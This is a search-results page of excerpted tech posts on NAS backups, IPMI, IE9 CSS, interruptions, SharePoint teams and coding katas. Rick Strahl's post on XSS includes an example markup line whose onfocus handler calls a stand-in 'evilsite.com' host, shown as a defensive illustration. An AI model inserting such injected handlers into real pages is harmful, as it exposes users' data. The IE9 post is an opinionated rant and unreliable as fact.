Search Results

Search found 12397 results on 496 pages for 'maybe'.

Page 152/496 | < Previous Page | 148 149 150 151 152 153 154 155 156 157 158 159  | Next Page >

• Thoughts on home NAS server

  - by user826955

  I currently have a NAS with a 2x2TB HDD 1x16GB SSD layout on a mini-itx atom board. The NAS is in a Lian Li PC-Q07 case. On this system I was running freebsd 8 with a gmirror raid 1 setup, which was enough for my needs. So far I was using the NAS for: Fileserver with AFP protocol (only mac clients used) SVN server hosting all my source trees of my projects JIRA (performance was okay-ish) Timemachine backup for the macs The power consumption was about 38W, although I did not put HDDs asleep when unused (I think this is not possible in a raid setup). I liked the NAS because: the performance was good through gigabit LAN (enough for my needs) power consumption was good its a pretty small case and fits in one of my cupboards I disliked the NAS a bit because: it was a bit noisy, the Q07 case vibrated a good amount because of the HDDs. I switched the NAS off every evening I do not have a real backup of the data on the NAS, only the internal raid 1 as safety. I really dont want to loose my source trees under no circumstances, so I would really be sleeping better if I knew I had regular backups somewhere. Recently, the board seemed to have died, I can't boot anymore. Thus, I was thinking about a redesign of my NAS (I still have to find out what parts are broken, I probably need to replace the mainboard and SSD. HDDs seem to be okay). First of all, I was wondering what other users have as backup for their NAS? Are you actually using a second NAS, and regularly copying over the data to have it safe? Or is there any better solution to this? I was thinking about getting a cheap NAS like the synology DS112j with only one disk, and use rsync or something similar to regularly copy data over to the second NAS (wake the second NAS upon start, shut it down after copy). Although this approach seems somewhat weird, It would have the benefit (?) that I could use a single disk instead of raid in the main NAS, and put the disk asleep when idle, and have the NAS running 24/7 with low energy consumption (I found no way to do this with a gmirror setup). Is there any recommended backup solution for a small NAS? Then I was thinking about a different raid setup. Since I have to buy a new mainboard as well as SSD, I might as well switch over to a i3 board with more ram, and also switch to ZFS. I am not familar with ZFS, I've never used it, but I read and hear much about it. Would it be viable to set up a ZFS storage with only 2 disks? Can I easily extend this storage with more disks, once I choose to add some? I could maybe get a new case like the Fractal Design Array R2 which has more 3,5" slots. I could as well get another 2 disks, but I would prefer sticking with the existing 2 for enegery/heat/noise reasons. Should I go for a ZFS storage or stick to my gmirror setup? I would also like to keep freebsd as operating system, and also I dont need any web gui or something (that is, I dont need/want to use FreeNAS or Openfiler etc). Does anyone maybe have a sample setup in use so I can compare energy consumption/noise/software setup? Any guidance towards the NAS of my dreams (silent, low energy, safe w/ backups) much appreciated.

  Read the article

• Supermicro IPMI on MBD-X8DAH+-F-O motherboard. Keyboard and mouse do not work after booting Windows Server 2008 R2

  - by LDelgado

  Hell Everyone, I built a server with the mentioned motherboard. I installed Windows Server 2008 R2 Enterprise on this server. IPMI is integrated on the motherboard with its own dedicated NIC. I've got that NIC configured with its own IP address. I can remote into it using IPMI, and I can remotely control the server settings before booting the OS ( BIOS, RAID configuration, etc). When the OS boots, I lose the mouse and keyboard. I cannot use the keyboard or mouse when installing the OS either. So the Keyboard and Mouse only work when no OS is loaded. Once the OS loads I lose it - that is my problem. I've been doing some research and trying a few things, but I have not been successful in fixing this issue. I may be wrong, but based on the things I've found online, it seems that the problem could be caused by the way the OS handles USB. The server is headless. There is no keyboard, mouse, or monitor plugged into it. When I boot up the OS and remote into it, I cannot see a mouse or keyboard listed in the Device Manager. Based on what I've read, it seems that the OS should detect a mouse and a keyboard when connecting remotely via IPMI. The following are the solutions I've tried. Nothing has worked so far: I've updated the firmware of the IPMI component to the latest firmware - 1.33. I made sure that the mouse mode was set to Absolute (Windows OS). I've loaded the factory defaults several times. I've enabled Port64h/60h Emulation under the USB settings in the BIOS. I've disabled USB legacy support in the BIOS. I made sure the firewall wasn't blocking IPMI (disabled the firewall). And that's about it. I've found threads in some forums from people having the same issue as me, but they were not running the same OS. They were either running Linux or FreeBSD. Most of them fixed their problem by selecting the right mouse mode (Linux in their case). There was one other that solved the problem by disabling USB Mass Storage mode. He stated "When I set it to disable USB Mass Storage when no image is loaded, the ukbd came alive, and I'm typing this on the IPMI Console. " source: http://freebsd.1045724.n5.nabble.com/IPMI-Console-No-luck-once-OS-is-booted-td3967868.html I suspect the solution described in the previous paragraph is somehow related to my problem. I've found several threads on the internet with issues describing the same problem, but none of them were with Windows Server 2008 R2. Again, I may be wrong, but it seems like that could be the issue. I just don't know how I go about applying a solution in Windows Server 2008 R2. In any case, I could use your expertise. Maybe I am missing something, or maybe I'm on the right track. Your help is much appreciated. Thank you in advance,

  Read the article

• float right image pushes down text in table below in IE9 [migrated]

  - by Cheers and hth. - Alf

  I'm not a webmaster, not even a web developer, but I'm tasked with adding content to a Wordpress site developed by Someone Else(TM). Here's a page illustrating the problem: http://www.reginedagan.no/program/fiskekonkurranse-i-hovden/. It shows up nice in Firefox: But in IE9 the floated picture pushed down the text in the table below, so that it looks rather awful: I found some related questions on the web, e.g. "CSS: Float right in IE doesn't work!" and "why does a floating DIV mess up table positioning?", and the suggestions there led me to set clear: none on the div around the table, the table itself, and then each individual tr and finally even on each individual td. I also set width="99%" on the table, and tried (but I don't know how correctly) to apply the IE6 quirk fix margin-right: -3px. So here's the content as written in Wordpress, including the unsuccessful attempted fixes: <h1><div style="float: right"><a href="http://www.reginedagan.no/?attachment_id=671"><img src="http://www.reginedagan.no/wp-content/uploads/2012/06/fiskekonkurranse-2011-bilde-3-nedskalert.jpg" alt="Fra fiskekonkurransen i 2011" title="Fra fiskekonkurransen i 2011" width="200" height="242" class="size-full wp-image-671"/></a></div>Fiskekonkurranse i Hovden!</h1> <div style="background-color: #FAF0F0; clear: none;"><table width="99%" style="clear: none; right-margin: -3px;"> <tr style=" clear: none;"> <td style="text-align: left; clear: none;">Dato:</td> <td style="text-align: left; clear: none;">Lørdag 21.juli</td> </tr> <tr style=" clear: none;"> <td style="text-align: left; padding-left: 2em"; clear: none;>/ barn, Flytebrygga</td> <td style="text-align: left; clear: none;">15.00 &ndash; 16.00</td> </tr> <tr style=" clear: none;"> <td style="text-align: left; padding-left: 2em; clear: none;">/ voksne (over 12 år), Moloen</td> <td style="text-align: left; clear: none;">15.00 &ndash; 17.00 </td> </tr> <tr style=" clear: none;"> <td style="text-align: left; clear: none;">Sted:</td> <td style="text-align: left; clear: none;">Hovden</td> </tr> <tr style=" clear: none;"> <td style="text-align: left; clear: none;">Pris:</td> <td style="text-align: left; clear: none;">voksen (over 12 år) kr. 50,-, barn kr. 30,-</td> </tr style=" clear: none;"> <tr> <td style="text-align: left; clear: none;">Arrangør:</td> <td style="text-align: left; clear: none;">Hovden Grendelag</td> </tr> </table></div> Velkommen til den årlige Fiskekonkurransen i Hovden lørdag 21. juli! <a href="http://www.reginedagan.no/program/fiskekonkurranse-i-hovden/fiskekonkurranse-2011-bilde-nedskalertjpg/" rel="attachment wp-att-672"><img src="http://www.reginedagan.no/wp-content/uploads/2012/03/fiskekonkurranse-2011-bilde-nedskalertjpg.jpg" alt="Fra fiskekonkurransen i 2011" title="Fra fiskekonkurransen i 2011" width="400" height="267" class="alignleft size-full wp-image-672" /></a>Det blir stangfiske fra moloen og egen barnekonkurranse fra flytebrygga. Premiering for størst fisk, størst antall kg og flest antall stk. Premiering for barn kl. 16:30 på moloen. Alle premieres. Premiering for voksne på festen om kvelden. Salg av pølser og brus, vafler og kaffe, samt sluker. <div style="clear: left; border: 1px dashed gray; padding: 1em;"> Fest på Hovden samfunnshus kl. 21 &ndash; 02. Musikk: «Mister West», Steinar Aarsnes, Andøya. CC. Salg av øl/vin og snacks. </div> VEL MØTT &mdash; SKITT FISKE! And the resulting HTML served to a browser (only the relevant first part): <div style="float: right;"><a href="http://www.reginedagan.no/?attachment_id=671"><img src="http://www.reginedagan.no/wp-content/uploads/2012/06/fiskekonkurranse-2011-bilde-3-nedskalert.jpg" alt="Fra fiskekonkurransen i 2011" title="Fra fiskekonkurransen i 2011" class="size-full wp-image-671" height="242" width="200"></a></div> <p>Fiskekonkurranse i Hovden!</p></h1> <div style="background-color: rgb(250, 240, 240); clear: none;"> <table style="clear: none;" width="99%"> <tbody><tr style="clear: none;"> <td style="text-align: left; clear: none;">Dato:</td> <td style="text-align: left; clear: none;">Lørdag 21.juli</td> </tr> The able to reproduce the effect with simpler code by setting clear: right on the table. However, I'm unable to reproduce the effect with default styling or with clear: none (as above). So it seems maybe it's something Wordpress does, or maybe it's something the theme thing or whatever it is does – but it's very similar to what others have observed, so there is strong indication that it's also a quirk in IE. Help?

  Read the article

• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

  Read the article

• The hidden cost of interrupting knowledge workers

  - by Piet

  The November issue of pragpub has an interesting article on interruptions. The article is written by Brian Tarbox, who also mentions the article on his blog. I like the subtitle: ‘Simple Strategies for Avoiding Dumping Your Mental Stack’. Brian talks about the effective cost of interrupting a ‘knowledge worker’, often with trivial questions or distractions. In the eyes of the interruptor, the interruption only costs the time the interrupted had to listen to the question and give an answer. However, depending on what the interrupted was doing at the time, getting fully immersed in their task again might take up to 15-20 minutes. Enough interruptions might even cause a knowledge worker to mentally call it a day. According to this article interruptions can consume about 28% of a knowledge worker’s time, translating in a $588 billion loss for US companies each year. Looking for a new developer to join your team? Ever thought about optimizing your team’s environment and the way they work instead? Making non knowledge workers aware You can’t. Well, I haven’t succeeded yet. And believe me: I’ve tried. When you’ve got a simple way to really increase your productivity (’give me 2 hours of uninterrupted time a day’) it wouldn’t be right not to tell your boss or team-leader about it. The problem is: only productive knowledge workers seem to understand this. People who don’t fall into this category just seem to think you’re joking, being arrogant or anti-social when you tell them the interruptions can really have an impact on your productivity. Also, knowledge workers often work in a very concentrated mental state which is described here as: It is the same mindfulness as ecstatic lovemaking, the merging of two into a fluidly harmonious one. The hallmark of flow is a feeling of spontaneous joy, even rapture, while performing a task. Yes, coding can be addictive and if you’re interrupting a programmer at the wrong moment, you’re effectively bringing down a junkie from his high in just a few seconds. This can result in seemingly arrogant, almost aggressive reactions. How to make people aware of the production-cost they’re inflicting: I’ve been often pondering that question myself. The article suggests that solutions based on that question never seem to work. To be honest: I’ve never even been able to find a half decent solution for this question. People who are not in this situations just don’t understand the issue, no matter how you try to explain it. Fun (?) thing I’ve noticed: Programmers or IT people in general who don’t get this are often the kind of people who just don’t get anything done. Interrupt handling (interruption management?) IRL Have non-urgent questions handled in a non-interruptive way It helps a bit to educate people into using non-interruptive ways to ask questions: “duh, I have no idea, but I’m a bit busy here now could you put it in an email so I don’t forget?”. Eventually, a considerable amount of people will skip interrupting you and just send an email right away. Some stubborn-headed people however will continue to just interrupt you, saying “you’re 10 meters from my desk, why can’t we just talk?”. Just remember to disable your email notifications, it can be hard to resist opening your email client when you know a new email just arrived. Use Do Not Disturb signals When working in a group of programmers, often the unofficial sign you can only be interrupted for something important is to put on headphones. And when the environment is quiet enough, often people aren’t even listening to music. Otherwise music can help to block the indirect distractions (someone else talking on the phone or tapping their feet). You might get a “they’re all just surfing and listening to music”-reaction from outsiders though. Peopleware talks about a team where the no-interruption sign was placing a shawl on the desk. If I remember correctly, I am unable to locate my copy of this really excellent must-read book. If you have all standardized on the same IM tool, maybe that tool has a ‘do not disturb’ setting. Also some phone-systems have a ‘DND’ (do not disturb) setting. Hide Brian offers a number of good suggestions, some obvious like: hide away somewhere they can’t find you. Not sure how long it’ll be till someone thinks you’re just taking a nap somewhere though. Also, this often isn’t possible or your boss might not understand this. And if you really get caught taking a nap, make sure to explain that your were powernapping. Counter-act interruptions Another suggestion he offers is when you’re being interrupted to just hold up your hand, blocking the interruption, and at least giving you time to finish your sentence or your block/line of code. The last suggestion works more as a way to make it obvious to the interruptor that they really are interrupting your work and to offload some of the cost on the interruptor. In practice, this can also helps you cool down a bit so you don’t start saying nasty things to the interruptor. Unfortunately I’ve sometimes been confronted with people who just ignore this signal and keep talking, as if they’re sure that whatever they’ve got to say is really worth listening to and without a doubt more important than anything you might be doing. This behaviour usually leaves me speechless (not good when someone just asked a question). I’ve noticed that these people are usually also the first to complain when being interrupted themselves. They’re generally not very liked as colleagues, so try not to imitate their behaviour. TDD as a way to minimize recovery time I don’t like Test Driven Development. Mainly for only one reason: It interrupts flow. At least, that’s what it does for me, but maybe I’m just not grown used to TDD yet. BUT a positive effect TDD has on me when I have to work in an interruptive environment and can’t really get into the ‘flow’ (also supposedly called ‘the zone’ by software developers, although I’ve never heard it 1st hand), TDD helps me to concentrate on the tasks at hand and helps me to get back at work after an interruption. I feel when using TDD, I can get by without the need for being totally ‘in’ the project and I can be reasonably productive without obtaining ‘flow’. Do you have a suggestion on how to make people aware of the concept of ‘flow’ and the cost of interruptions? (without looking like an arrogant ass or a weirdo)

  Read the article

• How to Organize a Programming Language Club

  - by Ben Griswold

  I previously noted that we started a language club at work.  You know, I searched around but I couldn’t find a copy of the How to Organize a Programming Language Club Handbook. Maybe it’s sold out?  Yes, Stack Overflow has quite a bit of information on how to learn and teach new languages and there’s also a good number of online tutorials which provide language introductions but I was interested in group learning.  After   two months of meetings, I present to you the Unofficial How to Organize a Programming Language Club Handbook.  1. Gauge interest. Start by surveying prospects. “Excuse me, smart-developer-whom-I-work-with-and-I-think-might-be-interested-in-learning-a-new-coding-language-with-me. Are you interested in learning a new language with me?” If you’re lucky, you work with a bunch of really smart folks who aren’t shy about teaching/learning in a group setting and you’ll have a collective interest in no time.  Simply suggesting the idea is the only effort required.  If you don’t work in this type of environment, maybe you should consider a new place of employment.  2. Make it official. Send out a “Welcome to the Club” email: There’s been talk of folks itching to learn new languages – Python, Scala, F# and Haskell to name a few.  Rather than taking on new languages alone, let’s learn in the open.  That’s right.  Let’s start a languages club.  We’ll have everything a real club needs – secret handshake, goofy motto and a high-and-mighty sense that we’re better than everybody else. T-shirts?  Hell YES!  Anyway, I’ve thrown this idea around the office and no one has laughed at me yet so please consider this your very official invitation to be in THE club. [Insert your ideas about how the club might be run, solicit feedback and suggestions, ask what other folks would like to get out the club, comment about club hazing practices and talk up the T-shirts even more. Finally, call out the languages you are interested in learning and ask the group for their list.] 3.  Send out invitations to the first meeting.  Don’t skimp!  Hallmark greeting cards for everyone.  Personalized.  Hearts over the I’s and everything.  Oh, and be sure to include the list of suggested languages with vote count.  Here the list of languages we are interested in: Python 5 Ruby 4 Objective-C 3 F# 2 Haskell 2 Scala 2 Ada 1 Boo 1 C# 1 Clojure 1 Erlang 1 Go 1 Pi 1 Prolog 1 Qt 1 4.  At the first meeting, there must be cake.  Lots of cake. And you should tackle some very important questions: Which language should we start with?  You can immediately go with the top vote getter or you could do as we did and designate each person to provide a high-level review of each of the proposed languages over the next two weeks.  After all presentations are completed, vote on the language. Our high-level review consisted of answers to a series of questions. Decide how often and where the group will meet.  We, for example, meet for a brown bag lunch every Wednesday.  Decide how you’re going to learn.  We determined that the best way to learn is to just dive in and write code.  After choosing our first language (Python), we talked about building an application, or performing coding katas, but we ultimately choose to complete a series of Project Euler problems.  We kept it simple – each member works out the same two problems each week in preparation of a code review the following Wednesday. 5.  Code, Review, Learn.  Prior to the weekly meeting, everyone uploads their solutions to our internal wiki.  Each Project Euler problem has a dedicated page.  In the meeting, we use a really fancy HD projector to show off each member’s solution.  It is very important to use an HD projector.  Again, don’t skimp!  Each code author speaks to their solution, everyone else comments, applauds, points fingers and laughs, etc.  As much as I’ve learned from solving the problems on my own, I’ve learned at least twice as much at the group code review.  6.  Rinse. Lather. Repeat.  We’ve hosted the language club for 7 weeks now.  The first meeting just set the stage.  The next two meetings provided a review of the languages followed by a first language selection.  The remaining meetings focused on Python and Project Euler problems.  Today we took a vote as to whether or not we’re ready to switch to another language and/or another problem set.  Pretty much everyone wants to stay the course for a few more weeks at least.  Until then, we’ll continue to code the next two solutions, review and learn. Again, we’ve been having a good time with the programming language club.  I’m glad it got off the ground.  What do you think?  Would you be interested in a language club?  Any suggestions on what we might do better?

  Read the article

• Too Many Kittens To Juggle At Once

  - by Bil Simser

  Ahh, the Internet. That crazy, mixed up place where one tweet turns into a conversation between dozens of people and spawns a blogpost. This is the direct result of such an event this morning. It started innocently enough, with this: Then followed up by a blog post by Joel here. In the post, Joel introduces us to the term Business Solutions Architect with mad skillz like InfoPath, Access Services, Excel Services, building Workflows, and SSRS report creation, all while meeting the business needs of users in a SharePoint environment. I somewhat disagreed with Joel that this really wasn’t a new role (at least IMHO) and that a good Architect or BA should really be doing this job. As Joel pointed out when you’re building a SharePoint team this kind of role is often overlooked. Engineers might be able to build workflows but is the right workflow for the right problem? Michael Pisarek wrote about a SharePoint Business Architect a few months ago and it’s a pretty solid assessment. Again, I argue you really shouldn’t be looking for roles that don’t exist and I don’t suggest anyone create roles to hire people to fill them. That’s basically creating a solution looking for problems. Michael’s article does have some great points if you’re lost in the quagmire of SharePoint duties though (and I especially like John Ross’ quote “The coolest shit is worthless if it doesn’t meet business needs”). SharePoinTony summed it up nicely with “SharePoint Solutions knowledge is both lacking and underrated in most environments. Roles help”. Having someone on the team who can dance between a business user and a coder can be difficult. Remember the idea of telling something to someone and them passing it on to the next person. By the time the story comes round the circle it’s a shadow of it’s former self with little resemblance to the original tale. This is very much business requirements as they’re told by the user to a business analyst, written down on paper, read by an architect, tuned into a solution plan, and implemented by a developer. Transformations between what was said, what was heard, what was written down, and what was developed can be distant cousins. Not everyone has the skill of communication and even less have negotiation skills to suit the SharePoint platform. Negotiation is important because not everything can be (or should be) done in SharePoint. Sometimes it’s just not appropriate to build it on the SharePoint platform but someone needs to know enough about the platform and what limitations it might have, then communicate that (and/or negotiate) with a customer or user so it’s not about “You can’t have this” to “Let’s try it this way”. Visualize the possible instead of denying the impossible. So what is the right SharePoint team? My cromag brain came with a fairly simpleton answer (and I’m sure people will just say this is a cop-out). The perfect SharePoint team is just enough people to do the job that know the technology and business problem they’re solving. Bridge the gap between business need and technology platform and you have an architect. Communicate the needs of the business effectively so the entire team understands it and you have a business analyst. Can you get this with full time workers? Maybe but don’t expect miracles out of the gate. Also don’t take a consultant’s word as gospel. Some consultants just don’t have the diversity of the SharePoint platform to be worth their value so be careful. You really need someone who knows enough about SharePoint to be able to validate a consultants knowledge level. This is basically try for any consultant, not just a SharePoint one. Specialization is good and needed. A good, well-balanced SharePoint team is one of people that can solve problems with work with the technology, not against it. Having a top developer is great, but don’t rely on them to solve world hunger if they can’t communicate very well with users. An expert business analyst might be great at gathering requirements so the entire team can understand them, but if it means building 100% custom solutions because they don’t fit inside the SharePoint boundaries isn’t of much value. Just repeat. There is no silver bullet. There is no silver bullet. There is no silver bullet. A few people pointed out Nick Inglis’ article Excluding The Information Professional In SharePoint. It’s a good read too and hits home that maybe some developers and IT pros need some extra help in the information space. If you’re in an organization that needs labels on people, come up with something everyone understands and go with it. If that’s Business Solutions Architect, SharePoint Advisor, or Guy Who Knows A Lot About Portals, make it work for you. We all wish that one person could master all that is SharePoint but we also know that doesn’t scale very well and you quickly get into the hit-by-a-bus syndrome (with the organization coming to a full crawl when the guy or girl goes on vacation, gets sick, or pops out a baby). There are too many gaps in SharePoint knowledge to have any one person know it all and too many kittens to juggle all at once. We like to consider ourselves experts in our field, but trying to tackle too many roles at once and we end up being mediocre jack of all trades, master of none. Don't fall into this pit. It's a deep, dark hole you don't want to try to claw your way out of. Trust me. Been there. Done that. Got the t-shirt. In the end I don’t disagree with Joel. SharePoint is a beast and not something that should be taken on by newbies. If you just read “Teach Yourself SharePoint in 24 Hours” and want to go build your corporate intranet or the next killer business solution with all your new found knowledge plan to pony up consultant dollars a few months later when everything goes to Hell in a handbasket and falls over. I’m not saying don’t build solutions in SharePoint. I’m just saying that building effective ones takes skill like any craft and not something you can just cobble together with a little bit of cursory knowledge. Thanks to *everyone* who participated in this tweet rush. It was fun and educational.

  Read the article

• Feedback on IE9 developer tool

  - by anirudha

  if you already love IE9 this post really not for you. but still you need something more this post for you and want to know about IE9 why not use product guide they give you IE9 product guide well i already put the bad experience into many post here but a little practice more to show what IE9 actually is or what they show. well i believe that their is no one on MSDN can sure that IE9 is another thing for developer to struggle with. because they never thing about the thing they make. the thinking they have that we product windows who are best so everything we do are best and best. come to the point i means Web browsing we can divide them in two parts 1. someone who are developer and use browser mainly for development , debugging and testing what they produced and make better software. 2. user who are not know things more technically but use the web as their passion. so as a developer what developer want. are IE9 is really for developer now make a comparison. commonly every developer have a twitter account to follow the link of someone else to learn and read the best article on web and share to all follower of themselves. chrome and Firefox have many utilities for that but IE still have nothing. social networking is a good way to communicate with others. in IE their is no plug-in to make experience better as firefox and chrome have a list of plug-in to use browser with more comfort. their are a huge list of plug-in on Firefox and chrome is available for making experience better. but IE9 still have no plug-in for that. if you see http://ieaddons.com/ you still see that they are joking yeah white joke who believe on them. they still have no plug-in. are they fool or making other fool. on 2011 whenever Firefox and chrome claim many thing on the plug-in IE9 still have no plug-in. not for developer not for everyone else. yeah a list of useless stuff you can see their. IE9 developer tool maybe better if they copycat the firebug as they copycat Google’s search result for Bing. well it’ not sure but Google claim that. but what is in IE9 developer tool so great that MSDN developer talking about. i found nothing in IE9 developer tool still feel frustrated their is a big trouble to edit css. means you never can change the css without going to CSS tab. but i thing great many thing they make better their but they still produce not better option in IE9 developer tool. as a comparison firebug is great we all know but chrome is a good option if someone want to try their hands on new things. in firebug their is a list of plugin inside firebug available also to make task easier. like firepicker in firebug make colorpicking easier. firebug autocomplete make console script writing better and yslow show you the performance step you need to take for making site better. IE9 still have no plugin or that. IE9 maybe useful stuff whenever the interface they thing to make better. the problem with MSFT these days that they want to ship next version of every softare in WPF. yeah they make live 2011 in wpf. many of user go for someone else or downgrade their 2011 live. the problem they have that they never want to spent the time on learning to use a software again. IE9 not have the serius problem like live have but still IE9 is not so great as chrome. like in chrome their is smooth tabbing. IE9 ditto copycat the things for tabbing. but a little step more in IE have a problem that IE9 tab slip whenever you want to use them. in chrome never slip the tab without user want. well as user someone also want to paint their browser in the style they want or like. in firefox the sollution called personas or themes. same in chrome the things called themes but in IE they still believe that their is no need for them. means use same themes everytime no customization in 2011 yeah great joke. well i read a post [written in 2008] of developer who still claim that they never used Firefox because they have a license for visual studio and some other software and have IE in their system. i not what they want to show. means they always want or thing to show that firefox and chrome is pity and IE is great as all do. but what’s true we all know. when MSFT release IE9 RC they show the ads with comparison of IE9 RC with chrome6 but why not today with chrome 11 developer version. the many things on IE testdrive now work perfect on chrome. well what’s performance matter when a silly browser never give a better experience. yeah performance have matter in useful software. anyone can prove many things whenever they produce a featureless software. well IE9 is looking great in blogger’s post on many kind of website where developer not independently write. actually they are mentally forced to write for IE9 better and show blah blah even blah is very small as they show. i am not believe on some blogger when they write in a style who are easily known that the post in favor of IE9. if you thing of mine then i am not want to hide myself i am one of the lover of open source so i love Firefox and chrome both. but i am not wrong you find yourself that what is difference between IE9 and Firefox and chrome. so don’t believe on someone who are not mentally independent because most of them are write about IE9 because they want to show them better they are forced themselves to show IE9 as a tool and chrome and firefox as pity. well read everything but never believe on everyone without any confident of them. they actually all want to show the things they have as i have with chrome and firefox is better then IE9. so my feedback on IE9 is :- without any plugin , customization or many thing i described in the post make no sense of use of IE9. i still fall in love of firefox and chrome they both give a better support and things to make experience better on the web. so conclusion is that i not forced you to other not IE9. you need to use the tool who save your time. means if your IE9 save your time you should use them because time was more subjective then others. so use the software who save the time as i save my time in chrome and in firefox. i still found nothing inIE9 who save time of mine.

  Read the article

• My Code Kata–A Solution Kata

  - by Glav

  There are many developers and coders out there who like to do code Kata’s to keep their coding ability up to scratch and to practice their skills. I think it is a good idea. While I like the concept, I find them dead boring and of minimal purpose. Yes, they serve to hone your skills but that’s about it. They are often quite abstract, in that they usually focus on a small problem set requiring specific solutions. It is fair enough as that is how they are designed but again, I find them quite boring. What I personally like to do is go for something a little larger and a little more fun. It takes a little more time and is not as easily executed as a kata though, but it services the same purposes from a practice perspective and allows me to continue to solve some problems that are not directly part of the initial goal. This means I can cover a broader learning range and have a bit more fun. If I am lucky, sometimes they even end up being useful tools. With that in mind, I thought I’d share my current ‘kata’. It is not really a code kata as it is too big. I prefer to think of it as a ‘solution kata’. The code is on bitbucket here. What I wanted to do was create a kind of simplistic virtual world where I can create a player, or a class, stuff it into the world, and see if it survives, and can navigate its way to the exit. Requirements were pretty simple: Must be able to define a map to describe the world using simple X,Y co-ordinates. Z co-ordinates as well if you feel like getting clever. Should have the concept of entrances, exists, solid blocks, and potentially other materials (again if you want to get clever). A coder should be able to easily write a class which will act as an inhabitant of the world. An inhabitant will receive stimulus from the world in the form of surrounding environment and be able to make a decision on action which it passes back to the ‘world’ for processing. At a minimum, an inhabitant will have sight and speed characteristics which determine how far they can ‘see’ in the world, and how fast they can move. Coders who write a really bad ‘inhabitant’ should not adversely affect the rest of world. Should allow multiple inhabitants in the world. So that was the solution I set out to act as a practice solution and a little bit of fun. It had some interesting problems to solve and I figured, if it turned out ok, I could potentially use this as a ‘developer test’ for interviews. Ask a potential coder to write a class for an inhabitant. Show the coder the map they will navigate, but also mention that we will use their code to navigate a map they have not yet seen and a little more complex. I have been playing with solution for a short time now and have it working in basic concepts. Below is a screen shot using a very basic console visualiser that shows the map, boundaries, blocks, entrance, exit and players/inhabitants. The yellow asterisks ‘*’ are the players, green ‘O’ the entrance, purple ‘^’ the exit, maroon/browny ‘#’ are solid blocks. The players can move around at different speeds, knock into each others, and make directional movement decisions based on what they see and who is around them. It has been quite fun to write and it is also quite fun to 